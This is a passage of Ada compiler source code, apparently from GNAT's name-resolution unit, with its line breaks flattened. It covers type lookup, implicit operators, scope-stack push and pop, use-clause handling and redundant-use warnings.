Set_Etype (N, Class_Wide_Type (T)); else -- Should we introduce a type Any_Tagged and use Wrong_Type -- here, it would be a bit more consistent??? Error_Msg_NE ("tagged type required, found}", Prefix (N), First_Subtype (T)); Set_Entity (N, Any_Type); return; end if; -- Case of tagged type else if Is_Concurrent_Type (T) then if No (Corresponding_Record_Type (Entity (Prefix (N)))) then -- Previous error. Use current type, which at least -- provides some operations. C := Entity (Prefix (N)); else C := Class_Wide_Type (Corresponding_Record_Type (Entity (Prefix (N)))); end if; else C := Class_Wide_Type (Entity (Prefix (N))); end if; Set_Entity_With_Checks (N, C); Generate_Reference (C, N); Set_Etype (N, C); end if; -- Base attribute, not allowed in Ada 83 elsif Attribute_Name (N) = Name_Base then Error_Msg_Name_1 := Name_Base; Check_SPARK_05_Restriction ("attribute% is only allowed as prefix of another attribute", N); if Ada_Version = Ada_83 and then Comes_From_Source (N) then Error_Msg_N ("(Ada 83) Base attribute not allowed in subtype mark", N); else Find_Type (Prefix (N)); Typ := Entity (Prefix (N)); if Ada_Version >= Ada_95 and then not Is_Scalar_Type (Typ) and then not Is_Generic_Type (Typ) then Error_Msg_N ("prefix of Base attribute must be scalar type", Prefix (N)); elsif Warn_On_Redundant_Constructs and then Base_Type (Typ) = Typ then Error_Msg_NE -- CODEFIX ("redundant attribute, & is its own base type?r?", N, Typ); end if; T := Base_Type (Typ); -- Rewrite attribute reference with type itself (see similar -- processing in Analyze_Attribute, case Base). Preserve prefix -- if present, for other legality checks. if Nkind (Prefix (N)) = N_Expanded_Name then Rewrite (N, Make_Expanded_Name (Sloc (N), Chars => Chars (T), Prefix => New_Copy (Prefix (Prefix (N))), Selector_Name => New_Occurrence_Of (T, Sloc (N)))); else Rewrite (N, New_Occurrence_Of (T, Sloc (N))); end if; Set_Entity (N, T); Set_Etype (N, T); end if; elsif Attribute_Name (N) = Name_Stub_Type then -- This is handled in Analyze_Attribute Analyze (N); -- All other attributes are invalid in a subtype mark else Error_Msg_N ("invalid attribute in subtype mark", N); end if; else Analyze (N); if Is_Entity_Name (N) then T_Name := Entity (N); else Error_Msg_N ("subtype mark required in this context", N); Set_Etype (N, Any_Type); return; end if; if T_Name = Any_Id or else Etype (N) = Any_Type then -- Undefined id. Make it into a valid type Set_Entity (N, Any_Type); elsif not Is_Type (T_Name) and then T_Name /= Standard_Void_Type then Error_Msg_Sloc := Sloc (T_Name); Error_Msg_N ("subtype mark required in this context", N); Error_Msg_NE ("\\found & declared#", N, T_Name); Set_Entity (N, Any_Type); else -- If the type is an incomplete type created to handle -- anonymous access components of a record type, then the -- incomplete type is the visible entity and subsequent -- references will point to it. Mark the original full -- type as referenced, to prevent spurious warnings. if Is_Incomplete_Type (T_Name) and then Present (Full_View (T_Name)) and then not Comes_From_Source (T_Name) then Set_Referenced (Full_View (T_Name)); end if; T_Name := Get_Full_View (T_Name); -- Ada 2005 (AI-251, AI-50217): Handle interfaces visible through -- limited-with clauses if From_Limited_With (T_Name) and then Ekind (T_Name) in Incomplete_Kind and then Present (Non_Limited_View (T_Name)) and then Is_Interface (Non_Limited_View (T_Name)) then T_Name := Non_Limited_View (T_Name); end if; if In_Open_Scopes (T_Name) then if Ekind (Base_Type (T_Name)) = E_Task_Type then -- In Ada 2005, a task name can be used in an access -- definition within its own body. It cannot be used -- in the discriminant part of the task declaration, -- nor anywhere else in the declaration because entries -- cannot have access parameters. if Ada_Version >= Ada_2005 and then Nkind (Parent (N)) = N_Access_Definition then Set_Entity (N, T_Name); Set_Etype (N, T_Name); if Has_Completion (T_Name) then return; else Error_Msg_N ("task type cannot be used as type mark " & "within its own declaration", N); end if; else Error_Msg_N ("task type cannot be used as type mark " & "within its own spec or body", N); end if; elsif Ekind (Base_Type (T_Name)) = E_Protected_Type then -- In Ada 2005, a protected name can be used in an access -- definition within its own body. if Ada_Version >= Ada_2005 and then Nkind (Parent (N)) = N_Access_Definition then Set_Entity (N, T_Name); Set_Etype (N, T_Name); return; else Error_Msg_N ("protected type cannot be used as type mark " & "within its own spec or body", N); end if; else Error_Msg_N ("type declaration cannot refer to itself", N); end if; Set_Etype (N, Any_Type); Set_Entity (N, Any_Type); Set_Error_Posted (T_Name); return; end if; Set_Entity (N, T_Name); Set_Etype (N, T_Name); end if; end if; if Present (Etype (N)) and then Comes_From_Source (N) then if Is_Fixed_Point_Type (Etype (N)) then Check_Restriction (No_Fixed_Point, N); elsif Is_Floating_Point_Type (Etype (N)) then Check_Restriction (No_Floating_Point, N); end if; -- A Ghost type must appear in a specific context if Is_Ghost_Entity (Etype (N)) then Check_Ghost_Context (Etype (N), N); end if; end if; end Find_Type; ------------------------------------ -- Has_Implicit_Character_Literal -- ------------------------------------ function Has_Implicit_Character_Literal (N : Node_Id) return Boolean is Id : Entity_Id; Found : Boolean := False; P : constant Entity_Id := Entity (Prefix (N)); Priv_Id : Entity_Id := Empty; begin if Ekind (P) = E_Package and then not In_Open_Scopes (P) then Priv_Id := First_Private_Entity (P); end if; if P = Standard_Standard then Change_Selected_Component_To_Expanded_Name (N); Rewrite (N, Selector_Name (N)); Analyze (N); Set_Etype (Original_Node (N), Standard_Character); return True; end if; Id := First_Entity (P); while Present (Id) and then Id /= Priv_Id loop if Is_Standard_Character_Type (Id) and then Is_Base_Type (Id) then -- We replace the node with the literal itself, resolve as a -- character, and set the type correctly. if not Found then Change_Selected_Component_To_Expanded_Name (N); Rewrite (N, Selector_Name (N)); Analyze (N); Set_Etype (N, Id); Set_Etype (Original_Node (N), Id); Found := True; else -- More than one type derived from Character in given scope. -- Collect all possible interpretations. Add_One_Interp (N, Id, Id); end if; end if; Next_Entity (Id); end loop; return Found; end Has_Implicit_Character_Literal; ---------------------- -- Has_Private_With -- ---------------------- function Has_Private_With (E : Entity_Id) return Boolean is Comp_Unit : constant Node_Id := Cunit (Current_Sem_Unit); Item : Node_Id; begin Item := First (Context_Items (Comp_Unit)); while Present (Item) loop if Nkind (Item) = N_With_Clause and then Private_Present (Item) and then Entity (Name (Item)) = E then return True; end if; Next (Item); end loop; return False; end Has_Private_With; --------------------------- -- Has_Implicit_Operator -- --------------------------- function Has_Implicit_Operator (N : Node_Id) return Boolean is Op_Id : constant Name_Id := Chars (Selector_Name (N)); P : constant Entity_Id := Entity (Prefix (N)); Id : Entity_Id; Priv_Id : Entity_Id := Empty; procedure Add_Implicit_Operator (T : Entity_Id; Op_Type : Entity_Id := Empty); -- Add implicit interpretation to node N, using the type for which a -- predefined operator exists. If the operator yields a boolean type, -- the Operand_Type is implicitly referenced by the operator, and a -- reference to it must be generated. --------------------------- -- Add_Implicit_Operator -- --------------------------- procedure Add_Implicit_Operator (T : Entity_Id; Op_Type : Entity_Id := Empty) is Predef_Op : Entity_Id; begin Predef_Op := Current_Entity (Selector_Name (N)); while Present (Predef_Op) and then Scope (Predef_Op) /= Standard_Standard loop Predef_Op := Homonym (Predef_Op); end loop; if Nkind (N) = N_Selected_Component then Change_Selected_Component_To_Expanded_Name (N); end if; -- If the context is an unanalyzed function call, determine whether -- a binary or unary interpretation is required. if Nkind (Parent (N)) = N_Indexed_Component then declare Is_Binary_Call : constant Boolean := Present (Next (First (Expressions (Parent (N))))); Is_Binary_Op : constant Boolean := First_Entity (Predef_Op) /= Last_Entity (Predef_Op); Predef_Op2 : constant Entity_Id := Homonym (Predef_Op); begin if Is_Binary_Call then if Is_Binary_Op then Add_One_Interp (N, Predef_Op, T); else Add_One_Interp (N, Predef_Op2, T); end if; else if not Is_Binary_Op then Add_One_Interp (N, Predef_Op, T); else Add_One_Interp (N, Predef_Op2, T); end if; end if; end; else Add_One_Interp (N, Predef_Op, T); -- For operators with unary and binary interpretations, if -- context is not a call, add both if Present (Homonym (Predef_Op)) then Add_One_Interp (N, Homonym (Predef_Op), T); end if; end if; -- The node is a reference to a predefined operator, and -- an implicit reference to the type of its operands. if Present (Op_Type) then Generate_Operator_Reference (N, Op_Type); else Generate_Operator_Reference (N, T); end if; end Add_Implicit_Operator; -- Start of processing for Has_Implicit_Operator begin if Ekind (P) = E_Package and then not In_Open_Scopes (P) then Priv_Id := First_Private_Entity (P); end if; Id := First_Entity (P); case Op_Id is -- Boolean operators: an implicit declaration exists if the scope -- contains a declaration for a derived Boolean type, or for an -- array of Boolean type. when Name_Op_And | Name_Op_Not | Name_Op_Or | Name_Op_Xor => while Id /= Priv_Id loop if Valid_Boolean_Arg (Id) and then Is_Base_Type (Id) then Add_Implicit_Operator (Id); return True; end if; Next_Entity (Id); end loop; -- Equality: look for any non-limited type (result is Boolean) when Name_Op_Eq | Name_Op_Ne => while Id /= Priv_Id loop if Is_Type (Id) and then not Is_Limited_Type (Id) and then Is_Base_Type (Id) then Add_Implicit_Operator (Standard_Boolean, Id); return True; end if; Next_Entity (Id); end loop; -- Comparison operators: scalar type, or array of scalar when Name_Op_Ge | Name_Op_Gt | Name_Op_Le | Name_Op_Lt => while Id /= Priv_Id loop if (Is_Scalar_Type (Id) or else (Is_Array_Type (Id) and then Is_Scalar_Type (Component_Type (Id)))) and then Is_Base_Type (Id) then Add_Implicit_Operator (Standard_Boolean, Id); return True; end if; Next_Entity (Id); end loop; -- Arithmetic operators: any numeric type when Name_Op_Abs | Name_Op_Add | Name_Op_Divide | Name_Op_Expon | Name_Op_Mod | Name_Op_Multiply | Name_Op_Rem | Name_Op_Subtract => while Id /= Priv_Id loop if Is_Numeric_Type (Id) and then Is_Base_Type (Id) then Add_Implicit_Operator (Id); return True; end if; Next_Entity (Id); end loop; -- Concatenation: any one-dimensional array type when Name_Op_Concat => while Id /= Priv_Id loop if Is_Array_Type (Id) and then Number_Dimensions (Id) = 1 and then Is_Base_Type (Id) then Add_Implicit_Operator (Id); return True; end if; Next_Entity (Id); end loop; -- What is the others condition here? Should we be using a -- subtype of Name_Id that would restrict to operators ??? when others => null; end case; -- If we fall through, then we do not have an implicit operator return False; end Has_Implicit_Operator; ----------------------------------- -- Has_Loop_In_Inner_Open_Scopes -- ----------------------------------- function Has_Loop_In_Inner_Open_Scopes (S : Entity_Id) return Boolean is begin -- Several scope stacks are maintained by Scope_Stack. The base of the -- currently active scope stack is denoted by the Is_Active_Stack_Base -- flag in the scope stack entry. Note that the scope stacks used to -- simply be delimited implicitly by the presence of Standard_Standard -- at their base, but there now are cases where this is not sufficient -- because Standard_Standard actually may appear in the middle of the -- active set of scopes. for J in reverse 0 .. Scope_Stack.Last loop -- S was reached without seing a loop scope first if Scope_Stack.Table (J).Entity = S then return False; -- S was not yet reached, so it contains at least one inner loop elsif Ekind (Scope_Stack.Table (J).Entity) = E_Loop then return True; end if; -- Check Is_Active_Stack_Base to tell us when to stop, as there are -- cases where Standard_Standard appears in the middle of the active -- set of scopes. This affects the declaration and overriding of -- private inherited operations in instantiations of generic child -- units. pragma Assert (not Scope_Stack.Table (J).Is_Active_Stack_Base); end loop; raise Program_Error; -- unreachable end Has_Loop_In_Inner_Open_Scopes; -------------------- -- In_Open_Scopes -- -------------------- function In_Open_Scopes (S : Entity_Id) return Boolean is begin -- Several scope stacks are maintained by Scope_Stack. The base of the -- currently active scope stack is denoted by the Is_Active_Stack_Base -- flag in the scope stack entry. Note that the scope stacks used to -- simply be delimited implicitly by the presence of Standard_Standard -- at their base, but there now are cases where this is not sufficient -- because Standard_Standard actually may appear in the middle of the -- active set of scopes. for J in reverse 0 .. Scope_Stack.Last loop if Scope_Stack.Table (J).Entity = S then return True; end if; -- Check Is_Active_Stack_Base to tell us when to stop, as there are -- cases where Standard_Standard appears in the middle of the active -- set of scopes. This affects the declaration and overriding of -- private inherited operations in instantiations of generic child -- units. exit when Scope_Stack.Table (J).Is_Active_Stack_Base; end loop; return False; end In_Open_Scopes; ----------------------------- -- Inherit_Renamed_Profile -- ----------------------------- procedure Inherit_Renamed_Profile (New_S : Entity_Id; Old_S : Entity_Id) is New_F : Entity_Id; Old_F : Entity_Id; Old_T : Entity_Id; New_T : Entity_Id; begin if Ekind (Old_S) = E_Operator then New_F := First_Formal (New_S); while Present (New_F) loop Set_Etype (New_F, Base_Type (Etype (New_F))); Next_Formal (New_F); end loop; Set_Etype (New_S, Base_Type (Etype (New_S))); else New_F := First_Formal (New_S); Old_F := First_Formal (Old_S); while Present (New_F) loop New_T := Etype (New_F); Old_T := Etype (Old_F); -- If the new type is a renaming of the old one, as is the case -- for actuals in instances, retain its name, to simplify later -- disambiguation. if Nkind (Parent (New_T)) = N_Subtype_Declaration and then Is_Entity_Name (Subtype_Indication (Parent (New_T))) and then Entity (Subtype_Indication (Parent (New_T))) = Old_T then null; else Set_Etype (New_F, Old_T); end if; Next_Formal (New_F); Next_Formal (Old_F); end loop; pragma Assert (No (Old_F)); if Ekind_In (Old_S, E_Function, E_Enumeration_Literal) then Set_Etype (New_S, Etype (Old_S)); end if; end if; end Inherit_Renamed_Profile; ---------------- -- Initialize -- ---------------- procedure Initialize is begin Urefs.Init; end Initialize; ------------------------- -- Install_Use_Clauses -- ------------------------- procedure Install_Use_Clauses (Clause : Node_Id; Force_Installation : Boolean := False) is U : Node_Id; P : Node_Id; Id : Entity_Id; begin U := Clause; while Present (U) loop -- Case of USE package if Nkind (U) = N_Use_Package_Clause then P := First (Names (U)); while Present (P) loop Id := Entity (P); if Ekind (Id) = E_Package then if In_Use (Id) then Note_Redundant_Use (P); elsif Present (Renamed_Object (Id)) and then In_Use (Renamed_Object (Id)) then Note_Redundant_Use (P); elsif Force_Installation or else Applicable_Use (P) then Use_One_Package (Id, U); end if; end if; Next (P); end loop; -- Case of USE TYPE else P := First (Subtype_Marks (U)); while Present (P) loop if not Is_Entity_Name (P) or else No (Entity (P)) then null; elsif Entity (P) /= Any_Type then Use_One_Type (P); end if; Next (P); end loop; end if; Next_Use_Clause (U); end loop; end Install_Use_Clauses; ------------------------------------- -- Is_Appropriate_For_Entry_Prefix -- ------------------------------------- function Is_Appropriate_For_Entry_Prefix (T : Entity_Id) return Boolean is P_Type : Entity_Id := T; begin if Is_Access_Type (P_Type) then P_Type := Designated_Type (P_Type); end if; return Is_Task_Type (P_Type) or else Is_Protected_Type (P_Type); end Is_Appropriate_For_Entry_Prefix; ------------------------------- -- Is_Appropriate_For_Record -- ------------------------------- function Is_Appropriate_For_Record (T : Entity_Id) return Boolean is function Has_Components (T1 : Entity_Id) return Boolean; -- Determine if given type has components (i.e. is either a record -- type or a type that has discriminants). -------------------- -- Has_Components -- -------------------- function Has_Components (T1 : Entity_Id) return Boolean is begin return Is_Record_Type (T1) or else (Is_Private_Type (T1) and then Has_Discriminants (T1)) or else (Is_Task_Type (T1) and then Has_Discriminants (T1)) or else (Is_Incomplete_Type (T1) and then From_Limited_With (T1) and then Present (Non_Limited_View (T1)) and then Is_Record_Type (Get_Full_View (Non_Limited_View (T1)))); end Has_Components; -- Start of processing for Is_Appropriate_For_Record begin return Present (T) and then (Has_Components (T) or else (Is_Access_Type (T) and then Has_Components (Designated_Type (T)))); end Is_Appropriate_For_Record; ------------------------ -- Note_Redundant_Use -- ------------------------ procedure Note_Redundant_Use (Clause : Node_Id) is Pack_Name : constant Entity_Id := Entity (Clause); Cur_Use : constant Node_Id := Current_Use_Clause (Pack_Name); Decl : constant Node_Id := Parent (Clause); Prev_Use : Node_Id := Empty; Redundant : Node_Id := Empty; -- The Use_Clause which is actually redundant. In the simplest case it -- is Pack itself, but when we compile a body we install its context -- before that of its spec, in which case it is the use_clause in the -- spec that will appear to be redundant, and we want the warning to be -- placed on the body. Similar complications appear when the redundancy -- is between a child unit and one of its ancestors. begin Set_Redundant_Use (Clause, True); if not Comes_From_Source (Clause) or else In_Instance or else not Warn_On_Redundant_Constructs then return; end if; if not Is_Compilation_Unit (Current_Scope) then -- If the use_clause is in an inner scope, it is made redundant by -- some clause in the current context, with one exception: If we're -- compiling a nested package body, and the use_clause comes from the -- corresponding spec, the clause is not necessarily fully redundant, -- so we should not warn. If a warning was warranted, it would have -- been given when the spec was processed. if Nkind (Parent (Decl)) = N_Package_Specification then declare Package_Spec_Entity : constant Entity_Id := Defining_Unit_Name (Parent (Decl)); begin if In_Package_Body (Package_Spec_Entity) then return; end if; end; end if; Redundant := Clause; Prev_Use := Cur_Use; elsif Nkind (Unit (Cunit (Current_Sem_Unit))) = N_Package_Body then declare Cur_Unit : constant Unit_Number_Type := Get_Source_Unit (Cur_Use); New_Unit : constant Unit_Number_Type := Get_Source_Unit (Clause); Scop : Entity_Id; begin if Cur_Unit = New_Unit then -- Redundant clause in same body Redundant := Clause; Prev_Use := Cur_Use; elsif Cur_Unit = Current_Sem_Unit then -- If the new clause is not in the current unit it has been -- analyzed first, and it makes the other one redundant. -- However, if the new clause appears in a subunit, Cur_Unit -- is still the parent, and in that case the redundant one -- is the one appearing in the subunit. if Nkind (Unit (Cunit (New_Unit))) = N_Subunit then Redundant := Clause; Prev_Use := Cur_Use; -- Most common case: redundant clause in body, -- original clause in spec. Current scope is spec entity. elsif Current_Scope = Defining_Entity ( Unit (Library_Unit (Cunit (Current_Sem_Unit)))) then Redundant := Cur_Use; Prev_Use := Clause; else -- The new clause may appear in an unrelated unit, when -- the parents of a generic are being installed prior to -- instantiation. In this case there must be no warning. -- We detect this case by checking whether the current top -- of the stack is related to the current compilation. Scop := Current_Scope; while Present (Scop) and then Scop /= Standard_Standard loop if Is_Compilation_Unit (Scop) and then not Is_Child_Unit (Scop) then return; elsif Scop = Cunit_Entity (Current_Sem_Unit) then exit; end if; Scop := Scope (Scop); end loop; Redundant := Cur_Use; Prev_Use := Clause; end if; elsif New_Unit = Current_Sem_Unit then Redundant := Clause; Prev_Use := Cur_Use; else -- Neither is the current unit, so they appear in parent or -- sibling units. Warning will be emitted elsewhere. return; end if; end; elsif Nkind (Unit (Cunit (Current_Sem_Unit))) = N_Package_Declaration and then Present (Parent_Spec (Unit (Cunit (Current_Sem_Unit)))) then -- Use_clause is in child unit of current unit, and the child unit -- appears in the context of the body of the parent, so it has been -- installed first, even though it is the redundant one. Depending on -- their placement in the context, the visible or the private parts -- of the two units, either might appear as redundant, but the -- message has to be on the current unit. if Get_Source_Unit (Cur_Use) = Current_Sem_Unit then Redundant := Cur_Use; Prev_Use := Clause; else Redundant := Clause; Prev_Use := Cur_Use; end if; -- If the new use clause appears in the private part of a parent unit -- it may appear to be redundant w.r.t. a use clause in a child unit, -- but the previous use clause was needed in the visible part of the -- child, and no warning should be emitted. if Nkind (Parent (Decl)) = N_Package_Specification and then List_Containing (Decl) = Private_Declarations (Parent (Decl)) then declare Par : constant Entity_Id := Defining_Entity (Parent (Decl)); Spec : constant Node_Id := Specification (Unit (Cunit (Current_Sem_Unit))); begin if Is_Compilation_Unit (Par) and then Par /= Cunit_Entity (Current_Sem_Unit) and then Parent (Cur_Use) = Spec and then List_Containing (Cur_Use) = Visible_Declarations (Spec) then return; end if; end; end if; -- Finally, if the current use clause is in the context then -- the clause is redundant when it is nested within the unit. elsif Nkind (Parent (Cur_Use)) = N_Compilation_Unit and then Nkind (Parent (Parent (Clause))) /= N_Compilation_Unit and then Get_Source_Unit (Cur_Use) = Get_Source_Unit (Clause) then Redundant := Clause; Prev_Use := Cur_Use; else null; end if; if Present (Redundant) then Error_Msg_Sloc := Sloc (Prev_Use); Error_Msg_NE -- CODEFIX ("& is already use-visible through previous use clause #??", Redundant, Pack_Name); end if; end Note_Redundant_Use; --------------- -- Pop_Scope -- --------------- procedure Pop_Scope is SST : Scope_Stack_Entry renames Scope_Stack.Table (Scope_Stack.Last); S : constant Entity_Id := SST.Entity; begin if Debug_Flag_E then Write_Info; end if; -- Set Default_Storage_Pool field of the library unit if necessary if Ekind_In (S, E_Package, E_Generic_Package) and then Nkind (Parent (Unit_Declaration_Node (S))) = N_Compilation_Unit then declare Aux : constant Node_Id := Aux_Decls_Node (Parent (Unit_Declaration_Node (S))); begin if No (Default_Storage_Pool (Aux)) then Set_Default_Storage_Pool (Aux, Default_Pool); end if; end; end if; Scope_Suppress := SST.Save_Scope_Suppress; Local_Suppress_Stack_Top := SST.Save_Local_Suppress_Stack_Top; Check_Policy_List := SST.Save_Check_Policy_List; Default_Pool := SST.Save_Default_Storage_Pool; No_Tagged_Streams := SST.Save_No_Tagged_Streams; SPARK_Mode := SST.Save_SPARK_Mode; SPARK_Mode_Pragma := SST.Save_SPARK_Mode_Pragma; Default_SSO := SST.Save_Default_SSO; Uneval_Old := SST.Save_Uneval_Old; if Debug_Flag_W then Write_Str ("<-- exiting scope: "); Write_Name (Chars (Current_Scope)); Write_Str (", Depth="); Write_Int (Int (Scope_Stack.Last)); Write_Eol; end if; End_Use_Clauses (SST.First_Use_Clause); -- If the actions to be wrapped are still there they will get lost -- causing incomplete code to be generated. It is better to abort in -- this case (and we do the abort even with assertions off since the -- penalty is incorrect code generation). if SST.Actions_To_Be_Wrapped /= Scope_Actions'(others => No_List) then raise Program_Error; end if; -- Free last subprogram name if allocated, and pop scope Free (SST.Last_Subprogram_Name); Scope_Stack.Decrement_Last; end Pop_Scope; --------------- -- Push_Scope -- --------------- procedure Push_Scope (S : Entity_Id) is E : constant Entity_Id := Scope (S); begin if Ekind (S) = E_Void then null; -- Set scope depth if not a non-concurrent type, and we have not yet set -- the scope depth. This means that we have the first occurrence of the -- scope, and this is where the depth is set. elsif (not Is_Type (S) or else Is_Concurrent_Type (S)) and then not Scope_Depth_Set (S) then if S = Standard_Standard then Set_Scope_Depth_Value (S, Uint_0); elsif Is_Child_Unit (S) then Set_Scope_Depth_Value (S, Uint_1); elsif not Is_Record_Type (Current_Scope) then if Ekind (S) = E_Loop then Set_Scope_Depth_Value (S, Scope_Depth (Current_Scope)); else Set_Scope_Depth_Value (S, Scope_Depth (Current_Scope) + 1); end if; end if; end if; Scope_Stack.Increment_Last; declare SST : Scope_Stack_Entry renames Scope_Stack.Table (Scope_Stack.Last); begin SST.Entity := S; SST.Save_Scope_Suppress := Scope_Suppress; SST.Save_Local_Suppress_Stack_Top := Local_Suppress_Stack_Top; SST.Save_Check_Policy_List := Check_Policy_List; SST.Save_Default_Storage_Pool := Default_Pool; SST.Save_No_Tagged_Streams := No_Tagged_Streams; SST.Save_SPARK_Mode := SPARK_Mode; SST.Save_SPARK_Mode_Pragma := SPARK_Mode_Pragma; SST.Save_Default_SSO := Default_SSO; SST.Save_Uneval_Old := Uneval_Old; -- Each new scope pushed onto the scope stack inherits the component -- alignment of the previous scope. This emulates the "visibility" -- semantics of pragma Component_Alignment. if Scope_Stack.Last > Scope_Stack.First then SST.Component_Alignment_Default := Scope_Stack.Table (Scope_Stack.Last - 1). Component_Alignment_Default; -- Otherwise, this is the first scope being pushed on the scope -- stack. Inherit the component alignment from the configuration -- form of pragma Component_Alignment (if any). else SST.Component_Alignment_Default := Configuration_Component_Alignment; end if; SST.Last_Subprogram_Name := null; SST.Is_Transient := False; SST.Node_To_Be_Wrapped := Empty; SST.Pending_Freeze_Actions := No_List; SST.Actions_To_Be_Wrapped := (others => No_List); SST.First_Use_Clause := Empty; SST.Is_Active_Stack_Base := False; SST.Previous_Visibility := False; SST.Locked_Shared_Objects := No_Elist; end; if Debug_Flag_W then Write_Str ("--> new scope: "); Write_Name (Chars (Current_Scope)); Write_Str (", Id="); Write_Int (Int (Current_Scope)); Write_Str (", Depth="); Write_Int (Int (Scope_Stack.Last)); Write_Eol; end if; -- Deal with copying flags from the previous scope to this one. This is -- not necessary if either scope is standard, or if the new scope is a -- child unit. if S /= Standard_Standard and then Scope (S) /= Standard_Standard and then not Is_Child_Unit (S) then if Nkind (E) not in N_Entity then return; end if; -- Copy categorization flags from Scope (S) to S, this is not done -- when Scope (S) is Standard_Standard since propagation is from -- library unit entity inwards. Copy other relevant attributes as -- well (Discard_Names in particular). -- We only propagate inwards for library level entities, -- inner level subprograms do not inherit the categorization. if Is_Library_Level_Entity (S) then Set_Is_Preelaborated (S, Is_Preelaborated (E)); Set_Is_Shared_Passive (S, Is_Shared_Passive (E)); Set_Discard_Names (S, Discard_Names (E)); Set_Suppress_Value_Tracking_On_Call (S, Suppress_Value_Tracking_On_Call (E)); Set_Categorization_From_Scope (E => S, Scop => E); end if; end if; if Is_Child_Unit (S) and then Present (E) and then Ekind_In (E, E_Package, E_Generic_Package) and then Nkind (Parent (Unit_Declaration_Node (E))) = N_Compilation_Unit then declare Aux : constant Node_Id := Aux_Decls_Node (Parent (Unit_Declaration_Node (E))); begin if Present (Default_Storage_Pool (Aux)) then Default_Pool := Default_Storage_Pool (Aux); end if; end; end if; end Push_Scope; --------------------- -- Premature_Usage -- --------------------- procedure Premature_Usage (N : Node_Id) is Kind : constant Node_Kind := Nkind (Parent (Entity (N))); E : Entity_Id := Entity (N); begin -- Within an instance, the analysis of the actual for a formal object -- does not see the name of the object itself. This is significant only -- if the object is an aggregate, where its analysis does not do any -- name resolution on component associations. (see 4717-008). In such a -- case, look for the visible homonym on the chain. if In_Instance and then Present (Homonym (E)) then E := Homonym (E); while Present (E) and then not In_Open_Scopes (Scope (E)) loop E := Homonym (E); end loop; if Present (E) then Set_Entity (N, E); Set_Etype (N, Etype (E)); return; end if; end if; if Kind = N_Component_Declaration then Error_Msg_N ("component&! cannot be used before end of record declaration", N); elsif Kind = N_Parameter_Specification then Error_Msg_N ("formal parameter&! cannot be used before end of specification", N); elsif Kind = N_Discriminant_Specification then Error_Msg_N ("discriminant&! cannot be used before end of discriminant part", N); elsif Kind = N_Procedure_Specification or else Kind = N_Function_Specification then Error_Msg_N ("subprogram&! cannot be used before end of its declaration", N); elsif Kind = N_Full_Type_Declaration then Error_Msg_N ("type& cannot be used before end of its declaration!", N); else Error_Msg_N ("object& cannot be used before end of its declaration!", N); end if; end Premature_Usage; ------------------------ -- Present_System_Aux -- ------------------------ function Present_System_Aux (N : Node_Id := Empty) return Boolean is Loc : Source_Ptr; Aux_Name : Unit_Name_Type; Unum : Unit_Number_Type; Withn : Node_Id; With_Sys : Node_Id; The_Unit : Node_Id; function Find_System (C_Unit : Node_Id) return Entity_Id; -- Scan context clause of compilation unit to find with_clause -- for System. ----------------- -- Find_System -- ----------------- function Find_System (C_Unit : Node_Id) return Entity_Id is With_Clause : Node_Id; begin With_Clause := First (Context_Items (C_Unit)); while Present (With_Clause) loop if (Nkind (With_Clause) = N_With_Clause and then Chars (Name (With_Clause)) = Name_System) and then Comes_From_Source (With_Clause) then return With_Clause; end if; Next (With_Clause); end loop; return Empty; end Find_System; -- Start of processing for Present_System_Aux begin -- The child unit may have been loaded and analyzed already if Present (System_Aux_Id) then return True; -- If no previous pragma for System.Aux, nothing to load elsif No (System_Extend_Unit) then return False; -- Use the unit name given in the pragma to retrieve the unit. -- Verify that System itself appears in the context clause of the -- current compilation. If System is not present, an error will -- have been reported already. else With_Sys := Find_System (Cunit (Current_Sem_Unit)); The_Unit := Unit (Cunit (Current_Sem_Unit)); if No (With_Sys) and then (Nkind (The_Unit) = N_Package_Body or else (Nkind (The_Unit) = N_Subprogram_Body and then not Acts_As_Spec (Cunit (Current_Sem_Unit)))) then With_Sys := Find_System (Library_Unit (Cunit (Current_Sem_Unit))); end if; if No (With_Sys) and then Present (N) then -- If we are compiling a subunit, we need to examine its -- context as well (Current_Sem_Unit is the parent unit); The_Unit := Parent (N); while Nkind (The_Unit) /= N_Compilation_Unit loop The_Unit := Parent (The_Unit); end loop; if Nkind (Unit (The_Unit)) = N_Subunit then With_Sys := Find_System (The_Unit); end if; end if; if No (With_Sys) then return False; end if; Loc := Sloc (With_Sys); Get_Name_String (Chars (Expression (System_Extend_Unit))); Name_Buffer (8 .. Name_Len + 7) := Name_Buffer (1 .. Name_Len); Name_Buffer (1 .. 7) := "system."; Name_Buffer (Name_Len + 8) := '%'; Name_Buffer (Name_Len + 9) := 's'; Name_Len := Name_Len + 9; Aux_Name := Name_Find; Unum := Load_Unit (Load_Name => Aux_Name, Required => False, Subunit => False, Error_Node => With_Sys); if Unum /= No_Unit then Semantics (Cunit (Unum)); System_Aux_Id := Defining_Entity (Specification (Unit (Cunit (Unum)))); Withn := Make_With_Clause (Loc, Name => Make_Expanded_Name (Loc, Chars => Chars (System_Aux_Id), Prefix => New_Occurrence_Of (Scope (System_Aux_Id), Loc), Selector_Name => New_Occurrence_Of (System_Aux_Id, Loc))); Set_Entity (Name (Withn), System_Aux_Id); Set_Library_Unit (Withn, Cunit (Unum)); Set_Corresponding_Spec (Withn, System_Aux_Id); Set_First_Name (Withn, True); Set_Implicit_With (Withn, True); Insert_After (With_Sys, Withn); Mark_Rewrite_Insertion (Withn); Set_Context_Installed (Withn); return True; -- Here if unit load failed else Error_Msg_Name_1 := Name_System; Error_Msg_Name_2 := Chars (Expression (System_Extend_Unit)); Error_Msg_N ("extension package `%.%` does not exist", Opt.System_Extend_Unit); return False; end if; end if; end Present_System_Aux; ------------------------- -- Restore_Scope_Stack -- ------------------------- procedure Restore_Scope_Stack (List : Elist_Id; Handle_Use : Boolean := True) is SS_Last : constant Int := Scope_Stack.Last; Elmt : Elmt_Id; begin -- Restore visibility of previous scope stack, if any, using the list -- we saved (we use Remove, since this list will not be used again). loop Elmt := Last_Elmt (List); exit when Elmt = No_Elmt; Set_Is_Immediately_Visible (Node (Elmt)); Remove_Last_Elmt (List); end loop; -- Restore use clauses if SS_Last >= Scope_Stack.First and then Scope_Stack.Table (SS_Last).Entity /= Standard_Standard and then Handle_Use then Install_Use_Clauses (Scope_Stack.Table (SS_Last).First_Use_Clause); end if; end Restore_Scope_Stack; ---------------------- -- Save_Scope_Stack -- ---------------------- -- Save_Scope_Stack/Restore_Scope_Stack were originally designed to avoid -- consuming any memory. That is, Save_Scope_Stack took care of removing -- from immediate visibility entities and Restore_Scope_Stack took care -- of restoring their visibility analyzing the context of each entity. The -- problem of such approach is that it was fragile and caused unexpected -- visibility problems, and indeed one test was found where there was a -- real problem. -- Furthermore, the following 